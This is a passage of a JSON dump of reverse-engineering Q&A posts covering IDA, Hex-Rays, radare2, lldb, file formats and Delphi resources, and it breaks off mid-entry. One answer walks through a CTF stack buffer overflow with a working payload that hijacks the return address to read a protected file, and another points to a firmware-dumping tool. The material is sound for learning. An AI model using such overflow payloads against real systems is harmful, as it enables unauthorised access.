        "Answer": "<h2>the Progress of Autoanalysis of IDA</h2>\n<h3>main logic</h3>\n<p>there is two <code>level</code>=<code>hierarchy</code>:</p>\n<ul>\n<li>refer <a href=\"https://hex-rays.com/products/ida/support/idadoc/620.shtml\" rel=\"nofollow noreferrer\">here</a>, general total <strong>12</strong> <code>step</code>=<code>pass</code> for <code>autoanalysis</code>:\n<ul>\n<li><code>FL:&lt;address&gt;</code> execution flow is being traced</li>\n<li><code>PR:&lt;address&gt;</code> a function is being created</li>\n<li><code>TL:&lt;address&gt;</code> a function tail is being created</li>\n<li><code>SP:&lt;address&gt;</code> the stack pointer is being traced</li>\n<li><code>AC:&lt;address&gt;</code> the address is being analyzed</li>\n<li><code>LL:&lt;number&gt; </code> a signature file is being loaded</li>\n<li><code>L1:&lt;address&gt;</code> the first pass of FLIRT</li>\n<li><code>L2:&lt;address&gt;</code> the second pass of FLIRT</li>\n<li><code>L3:&lt;address&gt;</code> the third pass of FLIRT</li>\n<li><code>TP:&lt;address&gt;</code> type information is being applied</li>\n<li><code>FI:&lt;address&gt;</code> the final pass of autoanalysis</li>\n<li><code>WF:&lt;address&gt;</code> weak execution flow is being traced</li>\n</ul>\n</li>\n<li>the <code>progress</code>=<code>percentage</code> of each <code>step</code>=<code>pass</code>\n<ul>\n<li>the orange arrow inside top binary bar indicated the realtime progress</li>\n</ul>\n</li>\n</ul>\n<h3>example</h3>\n<ul>\n<li>main step process\n<ul>\n<li>in <code>AC</code> step -&gt; <code>AC</code> is step <code>5</code>, total <code>12</code> steps\n<ul>\n<li>can consider as the main process/percentage is: <code>5</code>/<code>12</code>=<code>41.7%</code></li>\n</ul>\n</li>\n</ul>\n</li>\n<li>the detail process inside current <code>AC</code> step\n<ul>\n<li>show in figure, process is about <code>~45%</code>\n<ul>\n<li><a href=\"https://i.stack.imgur.com/BKmLz.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BKmLz.jpg\" alt=\"enter image description here\" /></a></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<p>--&gt;&gt;</p>\n<ul>\n<li>total process: <code>~46%</code></li>\n</ul>\n"
    },
    {
        "Id": "27767",
        "CreationDate": "2021-06-01T13:01:19.413",
        "Body": "<pre><code>v5 = (*(int (__cdecl **)(int))((char *)&amp;etext + 1))(a1);\n</code></pre>\n<p>Please explain me what does this line mean (if possible, please write from what it was compiled from (language - c))</p>\n",
        "Title": "An incomprehensible line in the output from hex rays",
        "Tags": "|hexrays|",
        "Answer": "<p>It's just a convoluted function call via function pointers.</p>\n<pre><code>(*(int (__cdecl **)(int))\n</code></pre>\n<p>casts a given number to a pointer to a function pointer (note the <code>**</code> so second degree function pointer) and dereferences it so you end up with a regular function pointer. The calling convention in use being <code>cdecl</code>. The target function would look like:</p>\n<pre><code>int __cdecl do_something(int some_arg) { ... }\n</code></pre>\n<p>The number being cast and dereferenced then is the address of <code>etext</code> plus 1. So at <code>etext + 1</code> is an address, that points to another address that points to a function.</p>\n<p>That function then is called with <code>a5</code> as the argument, storing the return value in v5.</p>\n<p>If I had to make up a C snippet, it would be something like this, the last line being what you posted:</p>\n<pre><code>typedef int (_cdecl *fptr2)(int);    //first degree function pointer typedef\ntypedef int (_cdecl **fptr1)(int);   //second degree function pointer typedef\n\nint _cdecl do_something(int arg)\n{\n    return arg+5;\n}\n\nvoid main()\n{\n    struct\n    {\n        char unused;             //this is for the etext + 1\n        fptr2 pp_func;           //stores a fptr to a fptr\n    } etext;\n\n    fptr1 func = &amp;do_something;  //first degree function pointer\n    etext.pp_func = &amp;func;       //second degree function pointer\n    (*etext.pp_func)(1337);      //the actual call and the equivalent of your line\n}\n</code></pre>\n<p>A more real-world example would probably be <code>etext+1</code> storing a pointer to a list of function pointers. Outside of that I rarely see second degree function pointers.</p>\n"
    },
    {
        "Id": "27791",
        "CreationDate": "2021-06-04T14:00:24.533",
        "Body": "<p>There is a program that is possibly a RAT, and I would like to view the source code.\nAfter opening the .exe in dnSpy, I was able to tell that it was compressed with Fody-Costura. (<a href=\"https://github.com/Fody/Costura\" rel=\"nofollow noreferrer\">https://github.com/Fody/Costura</a>)\nIs there any way to de-compress the file? If so, how?</p>\n",
        "Title": "Is there a way to decompress a Fody-Costura generated exe in c#?",
        "Tags": "|decompress|c#|exe|windows-10|dnspy|",
        "Answer": "<p>I had success using the <a href=\"https://github.com/G4224T/Fody-Costura-Decompress\" rel=\"nofollow noreferrer\">Fody-Costura-Decompress tool</a>.</p>\n<p>You would need to build the solution from source. it has a simple GUI for choosing your file and decompressing it.</p>\n"
    },
    {
        "Id": "27801",
        "CreationDate": "2021-06-05T20:38:53.060",
        "Body": "<p>I have this SQLite Database file</p>\n<p><a href=\"https://we.tl/t-RwKqYyS3D7\" rel=\"nofollow noreferrer\">https://we.tl/t-RwKqYyS3D7</a></p>\n<p>When I open it in notepad++, I got some decoded strings. I was trying to clean it and show only the strings without the symboles but then I found this website</p>\n<p><a href=\"https://filext.com/online-file-viewer.html\" rel=\"nofollow noreferrer\">https://filext.com/online-file-viewer.html</a></p>\n<p>When I open that file there, it show a db table and the text column have only numbers.</p>\n<p>I was thinking, maybe that's the strings but encrypted ?</p>\n<p>Hope someone have an explanation for that numbers and maybe a way to decrypte it.</p>\n<p>Example of the numbers</p>\n<pre><code>92,91,72,49,93,32,32,39,97,98,32,32,97,119,98,60,98,114,62,10,60,98,114,62,10,97,32,112,114,105,109,105,116,105,118,101,32,119,111,114,100,59,60,98,114,62,10,60,98,114,62,10,102,97,116,104,101,114,44,32,105,110,32,97,32,108,105,116,101,114,97,108,32,97,110,100,32,105,109,109,101,100,105,97,116,101,44,32,111,114,32,102,105,103,117,114,97,116,105,118,101,32,97,110,100,32,114,101,109,111,116,101,32,97,112,112,108,105,99,97,116,105,111,110,41,46,32,67,111,109,112,97,114,101,32,110,97,109,101,115,32,105,110,32,34,65,98,105,45,34,46,60,98,114,62,10,60,98,114,62,10,60,98,114,62,10,75,74,86,58,32,99,104,105,101,102,44,32,40,102,111,114,101,45,41,102,97,116,104,101,114,40,45,108,101,115,115,41,44,32,88,32,32,112,97,116,114,105,109,111,110,121,44,32,112,114,105,110,99,105,112,97,108,46,60,98,114,62,10\n</code></pre>\n<p>Or maybe a regex to clean all the file</p>\n<p>Thank you!</p>\n",
        "Title": "How can I decrypte the data in this SQLite Database file",
        "Tags": "|encryption|decryption|unknown-data|",
        "Answer": "<p>those numbers you pasted are ordinals for the respective characters</p>\n<p>92 is ordinal for escaped backslash</p>\n<pre><code>ord('\\\\')\n92\n</code></pre>\n<p>you can use a for i in blah construct with python to print them up</p>\n<pre><code>python\nPython 3.9.1 (tags/v3.9.1:1e5d33e, Dec  7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\n&gt;&gt;&gt; input = [92,91,72,49,93,32,32,39,97,98,32,32,97,119,98,60,98,114,62,10,60,98,114,62,10,97,32,112,114,105,109,105,116,105,118,101,32,119,111,114,100,59,60,98,114,62,10,60,98,114,62,10,102,97,116,104,101,114,44,32,105,110,32,97,32,108,105,116,101,114,97,108,32,97,110,100,32,105,109,109,101,100,105,97,116,101,44,32,111,114,32,102,105,103,117,114,97,116,105,118,101,32,97,110,100,32,114,101,109,111,116,101,32,97,112,112,108,105,99,97,116,105,111,110,41,46,32,67,111,109,112,97,114,101,32,110,97,109,101,115,32,105,110,32,34,65,98,105,45,34,46,60,98,114,62,10,60,98,114,62,10,60,98,114,62,10,75,74,86,58,32,99,104,105,101,102,44,32,40,102,111,114,101,45,41,102,97,116,104,101,114,40,45,108,101,115,115,41,44,32,88,32,32,112,97,116,114,105,109,111,110,121,44,32,112,114,105,110,99,105,112,97,108,46,60,98,114,62,10]\n&gt;&gt;&gt; for i in input:\n...     print(chr(i),end=&quot;&quot;)\n...\n\\[H1]  'ab  awb&lt;br&gt;\n&lt;br&gt;\na primitive word;&lt;br&gt;\n&lt;br&gt;\nfather, in a literal and immediate, or figurative and remote application). Compare names in &quot;Abi-&quot;.&lt;br&gt;\n&lt;br&gt;\n&lt;br&gt;\nKJV: chief, (fore-)father(-less), X  patrimony, principal.&lt;br&gt;\n&gt;&gt;&gt;\n</code></pre>\n<p>or you can dump the database to a textfile by redirecting this with python</p>\n<pre><code>import sqlite3\nconn = sqlite3.connect(&quot;.\\copysql&quot;)\ncur = conn.cursor()\n\nres = cur.execute(&quot;SELECT * FROM Lexicon&quot;)\nfor a in res:\n    print(a)\n\nres = cur.execute(&quot;SELECT * FROM TBinfo&quot;)\nfor a in res:\n    print(a)\n</code></pre>\n"
    },
    {
        "Id": "27823",
        "CreationDate": "2021-06-10T07:23:53.773",
        "Body": "<p>I've tried searching around on how to disassemble a whole binary. I found that <code>pd $s</code> and <code>pdf @@f</code> are the 2 commands suggested most widely. I could understand the working of the latter, but I don't see how the former works.</p>\n<p>Description (from <code>p?</code>) of <code>pd</code> - &quot;disassemble N opcodes&quot; <br />\nDescription (from <code>?$?</code>) of <code>$s</code> - &quot;file size&quot;</p>\n<p>Therefore, what is the difference between <code>pd $s</code> and <code>pdf @@f</code>? Which command to use to disassemble the <strong>whole</strong> file?</p>\n",
        "Title": "what is the difference between pd $s and pdf @@f in Radare2",
        "Tags": "|radare2|",
        "Answer": "<p><code>pdf @@f</code> is <code>disassembly function</code> and iterating over all functions (<code>@@f</code>), so obviously you need to have some functions. And if you functions are not analyzed then you won't get disassembly of those. See the following example output (truncated)</p>\n<pre><code>\u276f r2 /bin/ls\n[0x000067d0]&gt; pdf @@f //&lt;- nothing printed as functions not analyzed\n[0x000067d0]&gt; aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n...\n[0x000067d0]&gt; pdf @@f\nLinear size differs too much from the bbsum, please use pdr instead.\n...\nDo you want to print 15755 lines? (y/N)\n</code></pre>\n<p>You can clearly see that if binary is not analyzed nothing is printed by <code>pdf @@f</code>.</p>\n<p>On the other hand you can run <code>pd $s</code> without any analysis and it will start printing the disassembly, but it will disregard any file structure there might be.</p>\n<pre><code>\u276f r2 /bin/ls\n[0x000067d0]&gt; pd $s\nDo you want to print 142792 lines? (y/N)\n</code></pre>\n<p>So which one to use? I would go with <code>pdf @@f</code> after an analysis if you know the file is some kind of binary executable format. If you have 'unknown' data and want to see if the bytes makes sense as opcodes probably better choise is <code>pd $s</code>.</p>\n"
    },
    {
        "Id": "27826",
        "CreationDate": "2021-06-11T07:48:35.780",
        "Body": "<p>I'm new to reverse engineering C binaries but have been working on an old ctf and thought to ask for explanation of specific assembly commands and how a buffer overflow might force a function to be called.</p>\n<p>I have taken apart a binary using ghidra and IDA. Its a pretty standard C program with a main() function and methods:</p>\n<pre><code>int main(void)\n\n{\n  body();\n  return 0;\n}\n\nvoid body(void)\n\n{\n  char buffer [500];\n  int size;\n  \n  /* gather input and print to the console */\n  size = read(0,buffer,700);\n  printf(&quot;\\nUser provided %d bytes. Buffer content is: %s\\n&quot;,size,buffer);\n  return;\n}\n</code></pre>\n<p>(Note functions listed are reconstructed from assembly code and therefore may not be exactly correct.) It was at this point that I considered a buffer overflow must be the target of the attack.</p>\n<p>Further searching the program found this function, which I concluded I wanted to call:</p>\n<pre><code>void success(void)\n\n{\n  system(&quot;cat file_you_cant_access.txt&quot;);\n  return;\n}\n</code></pre>\n<p>This function is never called but it clearly is the answer to the challenge. So my question is how I can modify the main/body to call this side function.</p>\n<p>Unfortunately I don't really understand assembly code so haven't been able to make sense of where addresses are stored and functions are called. Potentially here are some lines that could be significant (they are the lines in the helper method):</p>\n<pre><code>/* gather input and print to the console */                     \n08048491 55              PUSH       EBP\n08048492 89 e5           MOV        EBP,ESP\n08048494 81 ec 18        SUB        ESP,0x218\n         02 00 00\n0804849a c7 44 24        MOV        dword ptr [ESP + local_214],0x2bc\n         08 bc 02 \n         00 00\n080484a2 8d 85 00        LEA        EAX=&gt;local_204,[EBP + 0xfffffe00]\n         fe ff ff\n080484a8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX\n080484ac c7 04 24        MOV        dword ptr [ESP]=&gt;local_21c,0x0\n         00 00 00 00\n080484b3 e8 78 fe        CALL       read                                             ssize_t read(int __fd, void * __\n         ff ff\n080484b8 89 45 f4        MOV        dword ptr [EBP + local_10],EAX\n080484bb 8d 85 00        LEA        EAX=&gt;local_204,[EBP + 0xfffffe00]\n         fe ff ff\n080484c1 89 44 24 08     MOV        dword ptr [ESP + local_214],EAX\n080484c5 8b 45 f4        MOV        EAX,dword ptr [EBP + local_10]\n080484c8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX\n080484cc c7 04 24        MOV        dword ptr [ESP]=&gt;local_21c,s__User_provided_%d   = &quot;\\nUser provided %d bytes. Buf\n         a0 85 04 08\n</code></pre>\n<p>The issue is that it appears to not be possible to overflow the buffer into anything meaningful. If the answer isn't obvious, perhaps you can walk me through what approach you would take?</p>\n",
        "Title": "Using a buffer overflow to call a function",
        "Tags": "|c|buffer-overflow|",
        "Answer": "<p>Basically, when <code>main</code> calls <code>body</code>, it essentially pushes the return address (which is the value of the <code>EIP</code> register, containing the offset of the instruction following the <code>CALL</code> instruction) to the stack, and then jumps to the address of <code>body</code>.\nWhen <code>body</code> will finish running (by executing the <code>RET</code> instruction), it will essentially pop the return address from the stack and jump to wherever it points to. In order to hijack the flow, the attacker must somehow override the stack and place a different address instead of the original return address.</p>\n<p>In the code you've attached, <code>buffer</code> is placed on the stack. Based on how program stacks behave, somewhere below it is the return address:</p>\n<pre><code>+---------+\n| buffer  | \n|         |\n|         |\n+---------+\n| ...     |\n+---------+\n| ret     | \n+---------+\n</code></pre>\n<p>There might be a few other things between <code>buffer</code> and <code>ret</code> (such as <code>size</code>, or the old frame pointer), but we can ignore them for the sake of simplicity. The important point is that whatever is in between doesn't push <code>ret</code> &quot;out of reach&quot;. Since <code>buffer</code> is 500 bytes long, and you are allowed to provide 700 bytes of user input, that's more than enough in order to reach <code>ret</code> and override it.</p>\n<p>So, the plan is to provide a specially-crafted input so that <code>buffer</code> and <code>...</code> contain any random filler, but <code>ret</code> gets overridden with the address of <code>success</code>. The question now is how long that filler should be.</p>\n<p>It's possible to calculate the exact length by analyzing the disassembly but there are tools that make it easier, such as <a href=\"https://docs.pwntools.com/en/stable/commandline.html#pwn-cyclic\" rel=\"nofollow noreferrer\">cyclic</a>. This tools generates a <a href=\"https://en.wikipedia.org/wiki/De_Bruijn_sequence\" rel=\"nofollow noreferrer\">De-Bruijn sequence</a> which is entered as input to the program. Assuming the input will override <code>ret</code>, we can take the address to which it attempted to jump to and check how far it is from the start of the input. That's the size of the filler.</p>\n<p>To see this in action, we'll assume that the binary is compiled without protections (<code>gcc vuln.c -o vuln -no-pie -m32 -fno-stack-protector</code>) and that as pointed out by blabb, the input is received by <code>read</code> and not <code>scanf</code>.</p>\n<p>We provide an input to the program using <code>cyclic</code>:</p>\n<pre><code>$ cyclic -n 4 550 | ./vuln\n\nUser provided 550 bytes. Buffer content is: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae&amp;\nzsh: done                cyclic -n 4 550 |\nzsh: segmentation fault  ./vuln\n</code></pre>\n<p>We check the error log in order to recover the failing instruction pointer:</p>\n<pre><code>$ sudo dmesg | tail -n 2\n[13575.170536] vuln[2738]: segfault at 66616165 ip 0000000066616165 sp 00000000ffeb7510 error 14 in libc-2.31.so[f7dc6000+1d000]\n[13575.170545] Code: Unable to access opcode bytes at RIP 0x6661613b.\n</code></pre>\n<p>We can see that the program tried to jump to <code>0x66616165</code>. Now we go back to <code>cyclic</code> to check the offset:</p>\n<pre><code>$ cyclic -n 4 -l 0x66616165\n516\n</code></pre>\n<p>This means that our filler needs to be <code>516</code> bytes long.</p>\n<p>We also need the address of <code>success</code> (might be different for you):</p>\n<pre><code>$ objdump -D ./vuln | grep success\n08049182 &lt;success&gt;:\n</code></pre>\n<p>We'll create the secret file:</p>\n<pre><code>$ echo Secret String &gt; file_you_cant_access.txt\n</code></pre>\n<p>And putting it all together, we craft the input (first the filler, then the address of <code>success</code>):</p>\n<pre><code>$ python3 -c 'import sys; sys.stdout.buffer.write(b&quot;A&quot;*516 + b&quot;\\x82\\x91\\x04\\x08&quot;)' | ./vuln\n\nUser provided 520 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nSecret String\nzsh: done                python3 -c  |\nzsh: segmentation fault  ./vuln\n</code></pre>\n<p>As expected, the contents of <code>file_you_cant_access.txt</code> is printed (right before the program crashes since we've corrupted its stack).</p>\n"
    },
    {
        "Id": "27830",
        "CreationDate": "2021-06-11T20:16:30.863",
        "Body": "<p>I understand C language decompilers are designed to decompile code produced by a C compiler, and that such decompilers have a lot of limitations and sometimes are actually wrong (in the sense that they produce C code that is not functionally equivalent to the assembly code they are generated from, though I don't understand why they would produce code that was not functionally equivalent).</p>\n<p>Does decompilation not really work if you are starting from hand-written assembly?  I'm not talking heavily-optimized or obfuscated assembly;  I can understand those might break decompilation in some way.</p>\n",
        "Title": "Is decompilation significantly more limited when performed on handwritten assembly?",
        "Tags": "|assembly|decompilation|",
        "Answer": "<p>This is more of an extended comment than an empirically researched answer.</p>\n<p><strong>Perspective 1: Decompiler Design Assumption Violation</strong></p>\n<p>Abstractly, one way that we can think about this is in terms of tool design. A tool tends to perform best when applied to problems its designer developed the tool to solve. Keeping in mind that decompilers perform the reverse of compilation, an argument can be made that using a decompiler to analyze machine code produced from hand-written assembly is an example of applying it to a problem it was not intended to solve, since that machine code was not produced by compilation.</p>\n<p>In other words, if it is the case that an assumption made by a decompiler is that the machine code being analyzed was produced by a compiler, then machine code produced from hand-written assembly violates this assumption. Attempting to decompile machine code produced from hand-written assembly amounts to attempting to approximate high-level language (HLL) source code for machine code when HLL source code never existed in the first place.</p>\n<p><a href=\"https://i.stack.imgur.com/oH4vO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oH4vO.png\" alt=\"mumblehard-ghidra-decompilation\" /></a></p>\n<blockquote>\n<p>In the above screenshot we see output produced by Ghidra's decompiler for machine code in the unpacking stub of a variant of <a href=\"https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf\" rel=\"nofollow noreferrer\">mumblehard</a>. The unpacking stub was written in assembly (observe the system calls made directly at locations <code>0x08048064</code> and <code>0x08048095</code>).</p>\n</blockquote>\n<p><strong>Perspective 2: Non-existent Source-to-Assembly Relationship</strong></p>\n<p>Decompilation is possible because of the relationship between HLL source (e.g. C++) and assembly code generated from that source - a translation accomplished by the compiler. With hand-written assembly, no such relationship ever existed, and no such translation ever took place. Therefore, when dealing with machine code produced from hand-written assembly, it is a mistake to assume that a meaningful mapping should be derived between that machine code and a HLL by a decompiler. Handcrafted assembly need not bear any relationship whatsoever to assembly produced from HLL code via compilation. If the handcrafted assembly takes on a form that for any reason - simply by virtue of the fact that the programmer has complete control over low-level operations -  couldn't have been generated by compiling HLL source, it would not be feasible for a decompiler to synthesize an accurate HLL approximation.</p>\n"
    },
    {
        "Id": "27837",
        "CreationDate": "2021-06-13T12:01:56.180",
        "Body": "<p>I'm trying to figure out the file format that the Roland TR-8S drum machine uses for importing/exporting drum kits. My goal is to replace the sample (PCM) data within a kit. It's a proprietary binary format and files have the extension <code>.t8k</code>. Here's what I have figured out so far:</p>\n<p>The format consists of multiple sections that start with a four character magic code each (<code>NAME</code>, <code>TONE</code>, <code>WAVE</code>, <code>SMPL</code> etc.). I'm focusing on the <code>SMPL</code> section first. Here is an example:</p>\n<pre><code>00000868  53 4d 50 4c 00 00 02 00  cd cd e8 7e 3c db dc dd  |SMPL.......~&lt;...|\n00000878  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00020878  53 4d 50 4c 00 00 02 00  cd cd e8 7e 3c db dc dd  |SMPL.......~&lt;...|\n</code></pre>\n<p>After the 4 byte magic code there is a 32bit value (0x20000) that indicates the length of the PCM data which starts at 0x878. The PCM data is all zeros in this example. If the original sample data is shorter than 0x20000 it will get padded with zeros.</p>\n<p>The next four bytes (<code>cd cd e8 7e</code>) is a CRC32 of the whole PCM data (0x20000 zeros in the example).</p>\n<p>The four bytes after the CRC32 (<code>3c db dc dd</code>) are unknown. They change whenever the whole zero padded block of PCM data changes. Like the CRC32, they do not change if only the number of zero padding bytes changes, and they do not seem to be affected by factors outside of the <code>SMPL</code> block. If the values of these bytes are incorrect, importing the kit into the drum machine fails with a generic error message.</p>\n<p>I have tried <a href=\"https://reveng.sourceforge.io/\" rel=\"nofollow noreferrer\">CRC RevEng</a> but it did not find an algorithm. Also, it seems unlikely that the unknown bytes are an additional CRC.</p>\n<p>What might be the purpose of these four unknown bytes? Is there a method that can help me find out?</p>\n",
        "Title": "Reverse engineering Roland TR-8S kit file format .t8k",
        "Tags": "|binary-analysis|file-format|crc|binary-diagnosis|unknown-data|",
        "Answer": "<p>After having unsuccessfully looking for complicated things I tried to think like a software developer and I found this:</p>\n<p>CRC32 of &quot;534d504c00000200cdcde87e&quot; = 0xdddcdb3c</p>\n"
    },
    {
        "Id": "27862",
        "CreationDate": "2021-06-18T17:15:57.990",
        "Body": "<p>I'm using OllyDbg v2 for debugging. Target is a simple executable file with few labels. It has been written in C++ builder. Looks like labels are located dynamically, so I can't get its text using OllyDbg, let alone changing the text. What should I do?</p>\n",
        "Title": "Changing a label's text on window",
        "Tags": "|ollydbg|",
        "Answer": "<p>Open the executable in resource hacker see if you can see them with that</p>\n"
    },
    {
        "Id": "27863",
        "CreationDate": "2021-06-18T21:06:49.320",
        "Body": "<p>I have the following instructions:</p>\n<p><a href=\"https://i.stack.imgur.com/2nVI3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2nVI3.png\" alt=\"\" /></a></p>\n<p>The registers' values in the <strong>First instruction</strong> are:</p>\n<ul>\n<li>RAX=0000000033307EE0</li>\n<li>RCX=0000000000000000</li>\n</ul>\n<p>The registers' values  in the <strong>Second instruction</strong> are:</p>\n<ul>\n<li>RAX=0000000033307EE0</li>\n<li>RCX=00000000377F1FD0</li>\n</ul>\n<p>What I did is:</p>\n<p>The first instruction offset is <code>[rax + rcx*8] = RCX(00000000) * 8 =  8</code><br />\nSo, the final result is <code>Address(33307EE0) + Offset(8)</code>.</p>\n<p>And the second instruction offset is <code>[rax + rcx*8] = RCX(377F1FD0) * 8 = BBF8FE80</code><br />\nSo, the final result is <code>Address(33307EE0) + Offset(BBF8FE80)</code>.</p>\n<p><strong>Are those results true?</strong> because I found the address is correct but the offset is still wrong.</p>\n",
        "Title": "How can I get the correct offset from that instruction?",
        "Tags": "|memory|game-hacking|cheat-engine|",
        "Answer": "<p>[RAX=0x33307EE0 + RCX=0x0 * 0x8] == [0x33307EE0+0x0] = <strong><code>0x33307EE0</code></strong><br />\ncompare whatever is at Address  <strong><code>0x33307EE0</code></strong> with r9 register</p>\n<p>[RAX=0x33307EE0 + RCX=0x377F1FD0 * 0x8] == [ 0x33307EE0 + 0x1bbf8fe80] = <strong><code>0x1ef297d60</code></strong></p>\n<p>mov into rcx whatever is there at <strong><code>0x1ef297d60</code></strong></p>\n<p>you really need to find some reading/viewing material on assembly\nit is always better to read a book on subject matter instead of getting random tidbit advice from unknown strangers on a web service if you need to grasp the basics</p>\n"
    },
    {
        "Id": "27872",
        "CreationDate": "2021-06-21T23:38:29.273",
        "Body": "<p>Lollipop 5.1.1 based device.  OLD ES File Manager installed.  (Yes, the exploitable one).  I can copy to/from the device.  I tried Kingo Root, Root Genius, Towel root, etc.  None of those work.  &quot;7 taps&quot; doesn't enable Developer mode, nor does 10, 20, or 100.  I can't install a new image, and the device doesn't have volume buttons, so I can't get to recovery.  Does anyone know what I need to do to enable adb?</p>\n",
        "Title": "How do I get adb to work on a Rockchip RK3288 based android device running Lollipop 5.1.1?",
        "Tags": "|android|",
        "Answer": "<p>The device is ROCKCHIP based.  That being the case, there are PLENTY of tools that will allow you to dump the device ROM, then you can pick through it, and won't actually NEED adb.</p>\n<p>rkDumper is a very good one.  Get it here:  <a href=\"https://forum.xda-developers.com/t/tool-rkdumper-utility-for-backup-firmware-of-rockchips-devices.2915363/\" rel=\"nofollow noreferrer\">rkDumper</a></p>\n"
    },
    {
        "Id": "27883",
        "CreationDate": "2021-06-23T14:38:48.800",
        "Body": "<p>I want to set a breakpoint at an offset within a file.</p>\n<p>I can do this fine if I launch the app, check where it is loaded with <code>image list testapp</code> and then add the offset of where in the binary I want the breakpoint e.g.:</p>\n<pre><code>breakpoint set -a 0x10100cff4\n</code></pre>\n<p>Is there a way whereby I can set the breakpoint in one go without first checking the offset it is loaded at so that I can automate a task more easily. e.g. something similar to:</p>\n<pre><code>breakpoint set -a ((image list -o testapp)+0x100168ff4)\n</code></pre>\n<p>I suspect I could do it with Python however that is not working for me at the moment on Ubuntu so would prefer a way it can be done with lldb commands.</p>\n<p>Alternatively, I can add a breakpoint with:</p>\n<pre><code>breakpoint set --name function_name\n</code></pre>\n<p>but it is only one instruction I want to break on so still need to add an offset to that address as I then have a command that is performed when it is reached and then resumes.</p>\n<p>Thanks</p>\n",
        "Title": "Set lldb breakpoint relative to ASLR slide",
        "Tags": "|breakpoint|lldb|offset|",
        "Answer": "<p>This is possible with a command like:</p>\n<pre><code>breakpoint set -a 0x100168ff4 -s testapp\n</code></pre>\n<p>as from <code>lldb</code>'s <code>help breakpoint add</code>, when you specify a module with <code>-s</code> then the address or expression passed with <code>-a</code>:</p>\n<blockquote>\n<p>will be treated as a file address in that module, and\nresolved accordingly.  Again, this will allow lldb to track that offset on subsequent reloads.  The module need not have been loaded at the time you specify this breakpoint, and will get resolved\nwhen the module is loaded.</p>\n</blockquote>\n<p>With many thanks to <a href=\"https://twitter.com/sdotknight\" rel=\"nofollow noreferrer\">Scott Knight</a> for the pointer on this.</p>\n"
    },
    {
        "Id": "27892",
        "CreationDate": "2021-06-24T14:27:23.977",
        "Body": "<p>I understand that this may seem like a really obvious question, but bear with me.</p>\n<p>I have this compiled game executable written in Borland Delphi 2010, it is based on the Win32 platform and is compiled in x86. It uses Windows Forms for the UI.</p>\n<p>I searched heavily and used Resource Hacker and IDR to go through the program. Both seemed to detect all Windows Forms really well (IDR a little bit better) and I am able to view the raw structures here:</p>\n<p><a href=\"https://i.stack.imgur.com/GRTcOl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GRTcOl.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/AzwPyl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AzwPyl.png\" alt=\"enter image description here\" /></a></p>\n<p>There are two types of definition in here: <code>Picture.Data</code> &amp; <code>Bitmap</code>. It seems that both are slightly different formats although they are still Bitmaps.</p>\n<p>Here is an example form with Bitmap (form_menu): <a href=\"https://pastebin.com/raw/r81sJRyq\" rel=\"nofollow noreferrer\">https://pastebin.com/raw/r81sJRyq</a></p>\n<p>Here is an example form with Picture.Data (form_submenu): <a href=\"https://gist.githubusercontent.com/sjain882/d33e261480d0f13c442ffb4b84d1d1ed/raw/0d188b2ed1673757e512236672c6b0c458ea74d1/form_submenu.txt\" rel=\"nofollow noreferrer\">https://gist.githubusercontent.com/sjain882/d33e261480d0f13c442ffb4b84d1d1ed/raw/0d188b2ed1673757e512236672c6b0c458ea74d1/form_submenu.txt</a></p>\n<p>Scroll down to the <code>Bitmap</code> or <code>Picture.Data</code> area. Here there is an ASCII representation of the image in hex. It turns out Delphi has its own custom image headers, and this differs between Bitmap and Picture.Data (the latter being <code>07 54 42 69 74 6D 61 70</code>).</p>\n<p>However, this is the header for the whole thing, which is a bunch of bitmaps clumped together it seems, in one {} bracketed area. The bitmaps themselves have the normal headers of <code>42 4D</code>.</p>\n<p>So... given all this information, I opened the assembly in IDA Pro and searched for these headers, many different types, different lengths. But all I found was this:</p>\n<p><a href=\"https://i.stack.imgur.com/op0xy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/op0xy.png\" alt=\"enter image description here\" /></a></p>\n<p>Given whats right after this 